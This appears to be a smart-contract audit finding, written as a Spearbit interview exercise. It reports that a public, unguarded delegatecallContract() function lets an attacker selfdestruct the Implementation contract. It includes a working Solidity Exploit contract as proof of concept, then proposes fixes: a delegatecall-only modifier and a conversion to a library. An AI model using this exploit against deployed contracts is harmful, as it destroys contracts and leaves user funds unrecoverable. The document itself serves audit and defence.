---
# System prepended metadata

title: Spearbit interview task

---

# Spearbit interview task
## Unprotected, public and generic `delegatecal` can lead to Denial Of Service

**Severity**: High

Context: [`Implementation.sol#L17-L22`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol#L17-L22)

Anyone can directly call public `delegatecallContract()` function in `Implementation` contract (without a proxy). This function is generic (accepts any address and any payload), thus Implementation contract is vulnerable to `selfdestruct()` and stealing of existing funds.

Proof of concept:
1. Attacker deploys `Exploit.sol` with a `sefldestruct()` feature.
2. Attacker/Exploit calls `Implementation.delegatecallContract()`.
3. Implementation delegatecalls back into `Exploit` contract triggering `selfdestruct()`.
4. Denial Of Service for all users. Funds unrecoverable

```solidity
// Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

interface IImplementation {
    function delegatecallContract(address a, bytes calldata _calldata) payable external returns (bytes memory);
}

contract Exploit {
    address immutable owner;

    constructor() {
        owner = msg.sender;
    }

    function attack(address victim_address) public {
        bytes memory _calldata = abi.encodeWithSignature("kill_caller()");
        IImplementation(victim_address).delegatecallContract(address(this), _calldata);
    }

    function kill_caller() public {
        selfdestruct(payable(owner));
    }
}
```

**Recommendation**: The solution is to disable regular calls and support only delegatecalls to the `Implementation` contract.

My initial solution proposal was the following:
Implementation can be guarded against regular calls with a simple modifier.
The code would look like this:
```solidity
pragma solidity 0.8.10;

contract Implementation {
    address immutable implementation_address;

    modifier only_delegatecall() {
        require(address(this) != implementation_address, "Only delegatecall is accepted");
        _;
    }

    constructor() {
        implementation_address = address(this);
    }

    function callContract(address a, bytes calldata _calldata) payable external only_delegatecall returns (bytes memory) {
        (bool success , bytes memory ret) =  a.call{value: msg.value}(_calldata);
        require(success);
        return ret;
    }

    function delegatecallContract(address a, bytes calldata _calldata) payable external only_delegatecall returns (bytes memory) {
        (bool success, bytes memory ret) =  a.delegatecall(_calldata);
        require(success);
        return ret;
    }
}
```

But turns out this is what a library feature provides.
And so it can be translated to:

```solidity
pragma solidity 0.8.10;

library Implementation {
    function callContract(address a, bytes calldata _calldata) external returns (bytes memory) {
        (bool success , bytes memory ret) =  a.call{value: msg.value}(_calldata);
        require(success);
        return ret;
    }

    function delegatecallContract(address a, bytes calldata _calldata) external returns (bytes memory) {
        (bool success, bytes memory ret) =  a.delegatecall(_calldata);
        require(success);
        return ret;
    }
}
```